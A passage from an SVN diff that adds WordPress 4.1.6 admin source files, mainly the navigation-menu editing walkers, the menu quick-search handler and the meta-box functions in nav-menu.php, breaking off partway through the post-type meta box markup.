+ * Whether or not we can edit this network from this page.
+ *
+ * By default editing of network is restricted to the Network Admin for that `$site_id`
+ * this allows for this to be overridden.
+ *
+ * @since 3.1.0
+ *
+ * @param int $site_id The network/site ID to check.
+ * @return bool True if network can be edited, otherwise false.
+ */
+function can_edit_network( $site_id ) {
+	global $wpdb;
+
+	if ( $site_id == $wpdb->siteid )
+		$result = true;
+	else
+		$result = false;
+
+	/**
+	 * Filter whether this network can be edited from this page.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $result  Whether the network can be edited from this page.
+	 * @param int  $site_id The network/site ID to check.
+	 */
+	return apply_filters( 'can_edit_network', $result, $site_id );
+}
+
+/**
+ * Thickbox image paths for Network Admin.
+ *
+ * @since 3.1.0
+ *
+ * @access private
+ */
+function _thickbox_path_admin_subfolder() {
+?>
+<script type="text/javascript">
+//<![CDATA[
+var tb_pathToImage = "<?php echo includes_url( 'js/thickbox/loadingAnimation.gif', 'relative' ); ?>";
+//]]>
+</script>
+<?php
+}
Index: /tags/4.1.6/src/wp-admin/includes/nav-menu.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/nav-menu.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/nav-menu.php	(revision 33402)
@@ -0,0 +1,1324 @@
+<?php
+
+/**
+ * Create HTML list of nav menu input items.
+ *
+ * @package WordPress
+ * @since 3.0.0
+ * @uses Walker_Nav_Menu
+ */
+class Walker_Nav_Menu_Edit extends Walker_Nav_Menu {
+	/**
+	 * Starts the list before the elements are added.
+	 *
+	 * @see Walker_Nav_Menu::start_lvl()
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Passed by reference.
+	 * @param int    $depth  Depth of menu item. Used for padding.
+	 * @param array  $args   Not used.
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {}
+
+	/**
+	 * Ends the list of after the elements are added.
+	 *
+	 * @see Walker_Nav_Menu::end_lvl()
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Passed by reference.
+	 * @param int    $depth  Depth of menu item. Used for padding.
+	 * @param array  $args   Not used.
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {}
+
+	/**
+	 * Start the element output.
+	 *
+	 * @see Walker_Nav_Menu::start_el()
+	 * @since 3.0.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $item   Menu item data object.
+	 * @param int    $depth  Depth of menu item. Used for padding.
+	 * @param array  $args   Not used.
+	 * @param int    $id     Not used.
+	 */
+	public function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
+		global $_wp_nav_menu_max_depth;
+		$_wp_nav_menu_max_depth = $depth > $_wp_nav_menu_max_depth ? $depth : $_wp_nav_menu_max_depth;
+
+		ob_start();
+		$item_id = esc_attr( $item->ID );
+		$removed_args = array(
+			'action',
+			'customlink-tab',
+			'edit-menu-item',
+			'menu-item',
+			'page-tab',
+			'_wpnonce',
+		);
+
+		$original_title = '';
+		if ( 'taxonomy' == $item->type ) {
+			$original_title = get_term_field( 'name', $item->object_id, $item->object, 'raw' );
+			if ( is_wp_error( $original_title ) )
+				$original_title = false;
+		} elseif ( 'post_type' == $item->type ) {
+			$original_object = get_post( $item->object_id );
+			$original_title = get_the_title( $original_object->ID );
+		}
+
+		$classes = array(
+			'menu-item menu-item-depth-' . $depth,
+			'menu-item-' . esc_attr( $item->object ),
+			'menu-item-edit-' . ( ( isset( $_GET['edit-menu-item'] ) && $item_id == $_GET['edit-menu-item'] ) ? 'active' : 'inactive'),
+		);
+
+		$title = $item->title;
+
+		if ( ! empty( $item->_invalid ) ) {
+			$classes[] = 'menu-item-invalid';
+			/* translators: %s: title of menu item which is invalid */
+			$title = sprintf( __( '%s (Invalid)' ), $item->title );
+		} elseif ( isset( $item->post_status ) && 'draft' == $item->post_status ) {
+			$classes[] = 'pending';
+			/* translators: %s: title of menu item in draft status */
+			$title = sprintf( __('%s (Pending)'), $item->title );
+		}
+
+		$title = ( ! isset( $item->label ) || '' == $item->label ) ? $title : $item->label;
+
+		$submenu_text = '';
+		if ( 0 == $depth )
+			$submenu_text = 'style="display: none;"';
+
+		?>
+		<li id="menu-item-<?php echo $item_id; ?>" class="<?php echo implode(' ', $classes ); ?>">
+			<dl class="menu-item-bar">
+				<dt class="menu-item-handle">
+					<span class="item-title"><span class="menu-item-title"><?php echo esc_html( $title ); ?></span> <span class="is-submenu" <?php echo $submenu_text; ?>><?php _e( 'sub item' ); ?></span></span>
+					<span class="item-controls">
+						<span class="item-type"><?php echo esc_html( $item->type_label ); ?></span>
+						<span class="item-order hide-if-js">
+							<a href="<?php
+								echo wp_nonce_url(
+									add_query_arg(
+										array(
+											'action' => 'move-up-menu-item',
+											'menu-item' => $item_id,
+										),
+										remove_query_arg($removed_args, admin_url( 'nav-menus.php' ) )
+									),
+									'move-menu_item'
+								);
+							?>" class="item-move-up"><abbr title="<?php esc_attr_e('Move up'); ?>">&#8593;</abbr></a>
+							|
+							<a href="<?php
+								echo wp_nonce_url(
+									add_query_arg(
+										array(
+											'action' => 'move-down-menu-item',
+											'menu-item' => $item_id,
+										),
+										remove_query_arg($removed_args, admin_url( 'nav-menus.php' ) )
+									),
+									'move-menu_item'
+								);
+							?>" class="item-move-down"><abbr title="<?php esc_attr_e('Move down'); ?>">&#8595;</abbr></a>
+						</span>
+						<a class="item-edit" id="edit-<?php echo $item_id; ?>" title="<?php esc_attr_e('Edit Menu Item'); ?>" href="<?php
+							echo ( isset( $_GET['edit-menu-item'] ) && $item_id == $_GET['edit-menu-item'] ) ? admin_url( 'nav-menus.php' ) : add_query_arg( 'edit-menu-item', $item_id, remove_query_arg( $removed_args, admin_url( 'nav-menus.php#menu-item-settings-' . $item_id ) ) );
+						?>"><?php _e( 'Edit Menu Item' ); ?></a>
+					</span>
+				</dt>
+			</dl>
+
+			<div class="menu-item-settings" id="menu-item-settings-<?php echo $item_id; ?>">
+				<?php if( 'custom' == $item->type ) : ?>
+					<p class="field-url description description-wide">
+						<label for="edit-menu-item-url-<?php echo $item_id; ?>">
+							<?php _e( 'URL' ); ?><br />
+							<input type="text" id="edit-menu-item-url-<?php echo $item_id; ?>" class="widefat code edit-menu-item-url" name="menu-item-url[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->url ); ?>" />
+						</label>
+					</p>
+				<?php endif; ?>
+				<p class="description description-thin">
+					<label for="edit-menu-item-title-<?php echo $item_id; ?>">
+						<?php _e( 'Navigation Label' ); ?><br />
+						<input type="text" id="edit-menu-item-title-<?php echo $item_id; ?>" class="widefat edit-menu-item-title" name="menu-item-title[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->title ); ?>" />
+					</label>
+				</p>
+				<p class="description description-thin">
+					<label for="edit-menu-item-attr-title-<?php echo $item_id; ?>">
+						<?php _e( 'Title Attribute' ); ?><br />
+						<input type="text" id="edit-menu-item-attr-title-<?php echo $item_id; ?>" class="widefat edit-menu-item-attr-title" name="menu-item-attr-title[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->post_excerpt ); ?>" />
+					</label>
+				</p>
+				<p class="field-link-target description">
+					<label for="edit-menu-item-target-<?php echo $item_id; ?>">
+						<input type="checkbox" id="edit-menu-item-target-<?php echo $item_id; ?>" value="_blank" name="menu-item-target[<?php echo $item_id; ?>]"<?php checked( $item->target, '_blank' ); ?> />
+						<?php _e( 'Open link in a new window/tab' ); ?>
+					</label>
+				</p>
+				<p class="field-css-classes description description-thin">
+					<label for="edit-menu-item-classes-<?php echo $item_id; ?>">
+						<?php _e( 'CSS Classes (optional)' ); ?><br />
+						<input type="text" id="edit-menu-item-classes-<?php echo $item_id; ?>" class="widefat code edit-menu-item-classes" name="menu-item-classes[<?php echo $item_id; ?>]" value="<?php echo esc_attr( implode(' ', $item->classes ) ); ?>" />
+					</label>
+				</p>
+				<p class="field-xfn description description-thin">
+					<label for="edit-menu-item-xfn-<?php echo $item_id; ?>">
+						<?php _e( 'Link Relationship (XFN)' ); ?><br />
+						<input type="text" id="edit-menu-item-xfn-<?php echo $item_id; ?>" class="widefat code edit-menu-item-xfn" name="menu-item-xfn[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->xfn ); ?>" />
+					</label>
+				</p>
+				<p class="field-description description description-wide">
+					<label for="edit-menu-item-description-<?php echo $item_id; ?>">
+						<?php _e( 'Description' ); ?><br />
+						<textarea id="edit-menu-item-description-<?php echo $item_id; ?>" class="widefat edit-menu-item-description" rows="3" cols="20" name="menu-item-description[<?php echo $item_id; ?>]"><?php echo esc_html( $item->description ); // textarea_escaped ?></textarea>
+						<span class="description"><?php _e('The description will be displayed in the menu if the current theme supports it.'); ?></span>
+					</label>
+				</p>
+
+				<p class="field-move hide-if-no-js description description-wide">
+					<label>
+						<span><?php _e( 'Move' ); ?></span>
+						<a href="#" class="menus-move-up"><?php _e( 'Up one' ); ?></a>
+						<a href="#" class="menus-move-down"><?php _e( 'Down one' ); ?></a>
+						<a href="#" class="menus-move-left"></a>
+						<a href="#" class="menus-move-right"></a>
+						<a href="#" class="menus-move-top"><?php _e( 'To the top' ); ?></a>
+					</label>
+				</p>
+
+				<div class="menu-item-actions description-wide submitbox">
+					<?php if( 'custom' != $item->type && $original_title !== false ) : ?>
+						<p class="link-to-original">
+							<?php printf( __('Original: %s'), '<a href="' . esc_attr( $item->url ) . '">' . esc_html( $original_title ) . '</a>' ); ?>
+						</p>
+					<?php endif; ?>
+					<a class="item-delete submitdelete deletion" id="delete-<?php echo $item_id; ?>" href="<?php
+					echo wp_nonce_url(
+						add_query_arg(
+							array(
+								'action' => 'delete-menu-item',
+								'menu-item' => $item_id,
+							),
+							admin_url( 'nav-menus.php' )
+						),
+						'delete-menu_item_' . $item_id
+					); ?>"><?php _e( 'Remove' ); ?></a> <span class="meta-sep hide-if-no-js"> | </span> <a class="item-cancel submitcancel hide-if-no-js" id="cancel-<?php echo $item_id; ?>" href="<?php echo esc_url( add_query_arg( array( 'edit-menu-item' => $item_id, 'cancel' => time() ), admin_url( 'nav-menus.php' ) ) );
+						?>#menu-item-settings-<?php echo $item_id; ?>"><?php _e('Cancel'); ?></a>
+				</div>
+
+				<input class="menu-item-data-db-id" type="hidden" name="menu-item-db-id[<?php echo $item_id; ?>]" value="<?php echo $item_id; ?>" />
+				<input class="menu-item-data-object-id" type="hidden" name="menu-item-object-id[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->object_id ); ?>" />
+				<input class="menu-item-data-object" type="hidden" name="menu-item-object[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->object ); ?>" />
+				<input class="menu-item-data-parent-id" type="hidden" name="menu-item-parent-id[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->menu_item_parent ); ?>" />
+				<input class="menu-item-data-position" type="hidden" name="menu-item-position[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->menu_order ); ?>" />
+				<input class="menu-item-data-type" type="hidden" name="menu-item-type[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->type ); ?>" />
+			</div><!-- .menu-item-settings-->
+			<ul class="menu-item-transport"></ul>
+		<?php
+		$output .= ob_get_clean();
+	}
+
+} // Walker_Nav_Menu_Edit
+
+/**
+ * Create HTML list of nav menu input items.
+ *
+ * @since 3.0.0
+ * @uses Walker_Nav_Menu
+ */
+class Walker_Nav_Menu_Checklist extends Walker_Nav_Menu {
+	public function __construct( $fields = false ) {
+		if ( $fields ) {
+			$this->db_fields = $fields;
+		}
+	}
+
+	/**
+	 * Starts the list before the elements are added.
+	 *
+	 * @see Walker_Nav_Menu::start_lvl()
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int    $depth  Depth of page. Used for padding.
+	 * @param array  $args   Not used.
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {
+		$indent = str_repeat( "\t", $depth );
+		$output .= "\n$indent<ul class='children'>\n";
+	}
+
+	/**
+	 * Ends the list of after the elements are added.
+	 *
+	 * @see Walker_Nav_Menu::end_lvl()
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int    $depth  Depth of page. Used for padding.
+	 * @param array  $args   Not used.
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {
+		$indent = str_repeat( "\t", $depth );
+		$output .= "\n$indent</ul>";
+	}
+
+	/**
+	 * Start the element output.
+	 *
+	 * @see Walker_Nav_Menu::start_el()
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $item   Menu item data object.
+	 * @param int    $depth  Depth of menu item. Used for padding.
+	 * @param array  $args   Not used.
+	 * @param int    $id     Not used.
+	 */
+	public function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
+		global $_nav_menu_placeholder;
+
+		$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? intval($_nav_menu_placeholder) - 1 : -1;
+		$possible_object_id = isset( $item->post_type ) && 'nav_menu_item' == $item->post_type ? $item->object_id : $_nav_menu_placeholder;
+		$possible_db_id = ( ! empty( $item->ID ) ) && ( 0 < $possible_object_id ) ? (int) $item->ID : 0;
+
+		$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';
+
+		$output .= $indent . '<li>';
+		$output .= '<label class="menu-item-title">';
+		$output .= '<input type="checkbox" class="menu-item-checkbox';
+
+		if ( ! empty( $item->front_or_home ) )
+			$output .= ' add-to-top';
+
+		$output .= '" name="menu-item[' . $possible_object_id . '][menu-item-object-id]" value="'. esc_attr( $item->object_id ) .'" /> ';
+
+		if ( ! empty( $item->label ) ) {
+			$title = $item->label;
+		} elseif ( isset( $item->post_type ) ) {
+			/** This filter is documented in wp-includes/post-template.php */
+			$title = apply_filters( 'the_title', $item->post_title, $item->ID );
+			if ( ! empty( $item->front_or_home ) && _x( 'Home', 'nav menu home label' ) !== $title )
+				$title = sprintf( _x( 'Home: %s', 'nav menu front page title' ), $title );
+		}
+
+		$output .= isset( $title ) ? esc_html( $title ) : esc_html( $item->title );
+ 		$output .= '</label>';
+
+		// Menu item hidden fields
+		$output .= '<input type="hidden" class="menu-item-db-id" name="menu-item[' . $possible_object_id . '][menu-item-db-id]" value="' . $possible_db_id . '" />';
+		$output .= '<input type="hidden" class="menu-item-object" name="menu-item[' . $possible_object_id . '][menu-item-object]" value="'. esc_attr( $item->object ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-parent-id" name="menu-item[' . $possible_object_id . '][menu-item-parent-id]" value="'. esc_attr( $item->menu_item_parent ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-type" name="menu-item[' . $possible_object_id . '][menu-item-type]" value="'. esc_attr( $item->type ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-title" name="menu-item[' . $possible_object_id . '][menu-item-title]" value="'. esc_attr( $item->title ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-url" name="menu-item[' . $possible_object_id . '][menu-item-url]" value="'. esc_attr( $item->url ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-target" name="menu-item[' . $possible_object_id . '][menu-item-target]" value="'. esc_attr( $item->target ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-attr_title" name="menu-item[' . $possible_object_id . '][menu-item-attr_title]" value="'. esc_attr( $item->attr_title ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-classes" name="menu-item[' . $possible_object_id . '][menu-item-classes]" value="'. esc_attr( implode( ' ', $item->classes ) ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-xfn" name="menu-item[' . $possible_object_id . '][menu-item-xfn]" value="'. esc_attr( $item->xfn ) .'" />';
+	}
+
+} // Walker_Nav_Menu_Checklist
+
+/**
+ * Prints the appropriate response to a menu quick search.
+ *
+ * @since 3.0.0
+ *
+ * @param array $request The unsanitized request values.
+ */
+function _wp_ajax_menu_quick_search( $request = array() ) {
+	$args = array();
+	$type = isset( $request['type'] ) ? $request['type'] : '';
+	$object_type = isset( $request['object_type'] ) ? $request['object_type'] : '';
+	$query = isset( $request['q'] ) ? $request['q'] : '';
+	$response_format = isset( $request['response-format'] ) && in_array( $request['response-format'], array( 'json', 'markup' ) ) ? $request['response-format'] : 'json';
+
+	if ( 'markup' == $response_format ) {
+		$args['walker'] = new Walker_Nav_Menu_Checklist;
+	}
+
+	if ( 'get-post-item' == $type ) {
+		if ( post_type_exists( $object_type ) ) {
+			if ( isset( $request['ID'] ) ) {
+				$object_id = (int) $request['ID'];
+				if ( 'markup' == $response_format ) {
+					echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', array( get_post( $object_id ) ) ), 0, (object) $args );
+				} elseif ( 'json' == $response_format ) {
+					echo wp_json_encode(
+						array(
+							'ID' => $object_id,
+							'post_title' => get_the_title( $object_id ),
+							'post_type' => get_post_type( $object_id ),
+						)
+					);
+					echo "\n";
+				}
+			}
+		} elseif ( taxonomy_exists( $object_type ) ) {
+			if ( isset( $request['ID'] ) ) {
+				$object_id = (int) $request['ID'];
+				if ( 'markup' == $response_format ) {
+					echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', array( get_term( $object_id, $object_type ) ) ), 0, (object) $args );
+				} elseif ( 'json' == $response_format ) {
+					$post_obj = get_term( $object_id, $object_type );
+					echo wp_json_encode(
+						array(
+							'ID' => $object_id,
+							'post_title' => $post_obj->name,
+							'post_type' => $object_type,
+						)
+					);
+					echo "\n";
+				}
+			}
+
+		}
+
+	} elseif ( preg_match('/quick-search-(posttype|taxonomy)-([a-zA-Z_-]*\b)/', $type, $matches) ) {
+		if ( 'posttype' == $matches[1] && get_post_type_object( $matches[2] ) ) {
+			query_posts(array(
+				'posts_per_page' => 10,
+				'post_type' => $matches[2],
+				's' => $query,
+			));
+			if ( ! have_posts() )
+				return;
+			while ( have_posts() ) {
+				the_post();
+				if ( 'markup' == $response_format ) {
+					$var_by_ref = get_the_ID();
+					echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', array( get_post( $var_by_ref ) ) ), 0, (object) $args );
+				} elseif ( 'json' == $response_format ) {
+					echo wp_json_encode(
+						array(
+							'ID' => get_the_ID(),
+							'post_title' => get_the_title(),
+							'post_type' => get_post_type(),
+						)
+					);
+					echo "\n";
+				}
+			}
+		} elseif ( 'taxonomy' == $matches[1] ) {
+			$terms = get_terms( $matches[2], array(
+				'name__like' => $query,
+				'number' => 10,
+			));
+			if ( empty( $terms ) || is_wp_error( $terms ) )
+				return;
+			foreach( (array) $terms as $term ) {
+				if ( 'markup' == $response_format ) {
+					echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', array( $term ) ), 0, (object) $args );
+				} elseif ( 'json' == $response_format ) {
+					echo wp_json_encode(
+						array(
+							'ID' => $term->term_id,
+							'post_title' => $term->name,
+							'post_type' => $matches[2],
+						)
+					);
+					echo "\n";
+				}
+			}
+		}
+	}
+}
+
+/**
+ * Register nav menu metaboxes and advanced menu items
+ *
+ * @since 3.0.0
+ **/
+function wp_nav_menu_setup() {
+	// Register meta boxes
+	wp_nav_menu_post_type_meta_boxes();
+	add_meta_box( 'add-custom-links', __( 'Links' ), 'wp_nav_menu_item_link_meta_box', 'nav-menus', 'side', 'default' );
+	wp_nav_menu_taxonomy_meta_boxes();
+
+	// Register advanced menu items (columns)
+	add_filter( 'manage_nav-menus_columns', 'wp_nav_menu_manage_columns' );
+
+	// If first time editing, disable advanced items by default.
+	if( false === get_user_option( 'managenav-menuscolumnshidden' ) ) {
+		$user = wp_get_current_user();
+		update_user_option($user->ID, 'managenav-menuscolumnshidden',
+			array( 0 => 'link-target', 1 => 'css-classes', 2 => 'xfn', 3 => 'description', ),
+			true);
+	}
+}
+
+/**
+ * Limit the amount of meta boxes to just links, pages and cats for first time users.
+ *
+ * @since 3.0.0
+ **/
+function wp_initial_nav_menu_meta_boxes() {
+	global $wp_meta_boxes;
+
+	if ( get_user_option( 'metaboxhidden_nav-menus' ) !== false || ! is_array($wp_meta_boxes) )
+		return;
+
+	$initial_meta_boxes = array( 'nav-menu-theme-locations', 'add-page', 'add-custom-links', 'add-category' );
+	$hidden_meta_boxes = array();
+
+	foreach ( array_keys($wp_meta_boxes['nav-menus']) as $context ) {
+		foreach ( array_keys($wp_meta_boxes['nav-menus'][$context]) as $priority ) {
+			foreach ( $wp_meta_boxes['nav-menus'][$context][$priority] as $box ) {
+				if ( in_array( $box['id'], $initial_meta_boxes ) ) {
+					unset( $box['id'] );
+				} else {
+					$hidden_meta_boxes[] = $box['id'];
+				}
+			}
+		}
+	}
+
+	$user = wp_get_current_user();
+	update_user_option( $user->ID, 'metaboxhidden_nav-menus', $hidden_meta_boxes, true );
+}
+
+/**
+ * Creates metaboxes for any post type menu item.
+ *
+ * @since 3.0.0
+ */
+function wp_nav_menu_post_type_meta_boxes() {
+	$post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'object' );
+
+	if ( ! $post_types )
+		return;
+
+	foreach ( $post_types as $post_type ) {
+		/**
+		 * Filter whether a menu items meta box will be added for the current
+		 * object type.
+		 *
+		 * If a falsey value is returned instead of an object, the menu items
+		 * meta box for the current meta box object will not be added.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param object $meta_box_object The current object to add a menu items
+		 *                                meta box for.
+		 */
+		$post_type = apply_filters( 'nav_menu_meta_box_object', $post_type );
+		if ( $post_type ) {
+			$id = $post_type->name;
+			// Give pages a higher priority.
+			$priority = ( 'page' == $post_type->name ? 'core' : 'default' );
+			add_meta_box( "add-{$id}", $post_type->labels->name, 'wp_nav_menu_item_post_type_meta_box', 'nav-menus', 'side', $priority, $post_type );
+		}
+	}
+}
+
+/**
+ * Creates metaboxes for any taxonomy menu item.
+ *
+ * @since 3.0.0
+ */
+function wp_nav_menu_taxonomy_meta_boxes() {
+	$taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'object' );
+
+	if ( !$taxonomies )
+		return;
+
+	foreach ( $taxonomies as $tax ) {
+		/** This filter is documented in wp-admin/includes/nav-menu.php */
+		$tax = apply_filters( 'nav_menu_meta_box_object', $tax );
+		if ( $tax ) {
+			$id = $tax->name;
+			add_meta_box( "add-{$id}", $tax->labels->name, 'wp_nav_menu_item_taxonomy_meta_box', 'nav-menus', 'side', 'default', $tax );
+		}
+	}
+}
+
+/**
+ * Check whether to disable the Menu Locations meta box submit button
+ *
+ * @since 3.6.0
+ *
+ * @uses global $one_theme_location_no_menus to determine if no menus exist
+ *
+ * @param int|string $nav_menu_selected_id (id, name or slug) of the currently-selected menu
+ * @return string Disabled attribute if at least one menu exists, false if not
+*/
+function wp_nav_menu_disabled_check( $nav_menu_selected_id ) {
+	global $one_theme_location_no_menus;
+
+	if ( $one_theme_location_no_menus )
+		return false;
+
+	return disabled( $nav_menu_selected_id, 0 );
+}
+
+/**
+ * Displays a metabox for the custom links menu item.
+ *
+ * @since 3.0.0
+ */
+function wp_nav_menu_item_link_meta_box() {
+	global $_nav_menu_placeholder, $nav_menu_selected_id;
+
+	$_nav_menu_placeholder = 0 > $_nav_menu_placeholder ? $_nav_menu_placeholder - 1 : -1;
+
+	?>
+	<div class="customlinkdiv" id="customlinkdiv">
+		<input type="hidden" value="custom" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-type]" />
+		<p id="menu-item-url-wrap">
+			<label class="howto" for="custom-menu-item-url">
+				<span><?php _e('URL'); ?></span>
+				<input id="custom-menu-item-url" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-url]" type="text" class="code menu-item-textbox" value="http://" />
+			</label>
+		</p>
+
+		<p id="menu-item-name-wrap">
+			<label class="howto" for="custom-menu-item-name">
+				<span><?php _e( 'Link Text' ); ?></span>
+				<input id="custom-menu-item-name" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-title]" type="text" class="regular-text menu-item-textbox input-with-default-title" title="<?php esc_attr_e('Menu Item'); ?>" />
+			</label>
+		</p>
+
+		<p class="button-controls">
+			<span class="add-to-menu">
+				<input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="button-secondary submit-add-to-menu right" value="<?php esc_attr_e('Add to Menu'); ?>" name="add-custom-menu-item" id="submit-customlinkdiv" />
+				<span class="spinner"></span>
+			</span>
+		</p>
+
+	</div><!-- /.customlinkdiv -->
+	<?php
+}
+
+/**
+ * Displays a metabox for a post type menu item.
+ *
+ * @since 3.0.0
+ *
+ * @param string $object Not used.
+ * @param string $post_type The post type object.
+ */
+function wp_nav_menu_item_post_type_meta_box( $object, $post_type ) {
+	global $_nav_menu_placeholder, $nav_menu_selected_id;
+
+	$post_type_name = $post_type['args']->name;
+
+	// Paginate browsing for large numbers of post objects.
+	$per_page = 50;
+	$pagenum = isset( $_REQUEST[$post_type_name . '-tab'] ) && isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1;
+	$offset = 0 < $pagenum ? $per_page * ( $pagenum - 1 ) : 0;
+
+	$args = array(
+		'offset' => $offset,
+		'order' => 'ASC',
+		'orderby' => 'title',
+		'posts_per_page' => $per_page,
+		'post_type' => $post_type_name,
+		'suppress_filters' => true,
+		'update_post_term_cache' => false,
+		'update_post_meta_cache' => false
+	);
+
+	if ( isset( $post_type['args']->_default_query ) )
+		$args = array_merge($args, (array) $post_type['args']->_default_query );
+
+	// @todo transient caching of these results with proper invalidation on updating of a post of this type
+	$get_posts = new WP_Query;
+	$posts = $get_posts->query( $args );
+	if ( ! $get_posts->post_count ) {
+		echo '<p>' . __( 'No items.' ) . '</p>';
+		return;
+	}
+
+	$num_pages = $get_posts->max_num_pages;
+
+	$page_links = paginate_links( array(
+		'base' => add_query_arg(
+			array(
+				$post_type_name . '-tab' => 'all',
+				'paged' => '%#%',
+				'item-type' => 'post_type',
+				'item-object' => $post_type_name,
+			)
+		),
+		'format' => '',
+		'prev_text' => __('&laquo;'),
+		'next_text' => __('&raquo;'),
+		'total' => $num_pages,
+		'current' => $pagenum
+	));
+
+	$db_fields = false;
+	if ( is_post_type_hierarchical( $post_type_name ) ) {
+		$db_fields = array( 'parent' => 'post_parent', 'id' => 'ID' );
+	}
+
+	$walker = new Walker_Nav_Menu_Checklist( $db_fields );
+
+	$current_tab = 'most-recent';
+	if ( isset( $_REQUEST[$post_type_name . '-tab'] ) && in_array( $_REQUEST[$post_type_name . '-tab'], array('all', 'search') ) ) {
+		$current_tab = $_REQUEST[$post_type_name . '-tab'];
+	}
+
+	if ( ! empty( $_REQUEST['quick-search-posttype-' . $post_type_name] ) ) {
+		$current_tab = 'search';
+	}
+
+	$removed_args = array(
+		'action',
+		'customlink-tab',
+		'edit-menu-item',
+		'menu-item',
+		'page-tab',
+		'_wpnonce',
+	);
+
+	?>
+	<div id="posttype-<?php echo $post_type_name; ?>" class="posttypediv">
+		<ul id="posttype-<?php echo $post_type_name; ?>-tabs" class="posttype-tabs add-menu-item-tabs">
+			<li <?php echo ( 'most-recent' == $current_tab ? ' class="tabs"' : '' ); ?>>
+				<a class="nav-tab-link" data-type="tabs-panel-posttype-<?php echo esc_attr( $post_type_name ); ?>-most-recent" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($post_type_name . '-tab', 'most-recent', remove_query_arg($removed_args))); ?>#tabs-panel-posttype-<?php echo $post_type_name; ?>-most-recent">
+					<?php _e( 'Most Recent' ); ?>
+				</a>
+			</li>
+			<li <?php echo ( 'all' == $current_tab ? ' class="tabs"' : '' ); ?>>
+				<a class="nav-tab-link" data-type="<?php echo esc_attr( $post_type_name ); ?>-all" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($post_type_name . '-tab', 'all', remove_query_arg($removed_args))); ?>#<?php echo $post_type_name; ?>-all">
+					<?php _e( 'View All' ); ?>
+				</a>
+			</li>
+			<li <?php echo ( 'search' == $current_tab ? ' class="tabs"' : '' ); ?>>
+				<a class="nav-tab-link" data-type="tabs-panel-posttype-<?php echo esc_attr( $post_type_name ); ?>-search" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($post_type_name . '-tab', 'search', remove_query_arg($removed_args))); ?>#tabs-panel-posttype-<?php echo $post_type_name; ?>-search">
+					<?php _e( 'Search'); ?>
+				</a>
+			</li>
+		</ul><!-- .posttype-tabs -->
+
+		<div id="tabs-panel-posttype-<?php echo $post_type_name; ?>-most-recent" class="tabs-panel <?php
+			echo ( 'most-recent' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );
+		?>">
+			<ul id="<?php echo $post_type_name; ?>checklist-most-recent" class="categorychecklist form-no-clear">
+				<?php
+				$recent_args = array_merge( $args, array( 'orderby' => 'post_date', 'order' => 'DESC', 'posts_per_page' => 15 ) );
+				$most_recent = $get_posts->query( $recent_args );
+				$args['walker'] = $walker;
+				echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $most_recent), 0, (object) $args );
+				?>
+			</ul>
+		</div><!-- /.tabs-panel -->
+
+		<div class="tabs-panel <?php
+			echo ( 'search' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );
+		?>" id="tabs-panel-posttype-<?php echo $post_type_name; ?>-search">
+			<?php
+			if ( isset( $_REQUEST['quick-search-posttype-' . $post_type_name] ) ) {
+				$searched = esc_attr( $_REQUEST['quick-search-posttype-' . $post_type_name] );
+				$search_results = get_posts( array( 's' => $searched, 'post_type' => $post_type_name, 'fields' => 'all', 'order' => 'DESC', ) );
+			} else {
+				$searched = '';
+				$search_results = array();
+			}
+			?>
+			<p class="quick-search-wrap">
+				<input type="search" class="quick-search input-with-default-title" title="<?php esc_attr_e('Search'); ?>" value="<?php echo $searched; ?>" name="quick-search-posttype-<?php echo $post_type_name; ?>" />
+				<span class="spinner"></span>
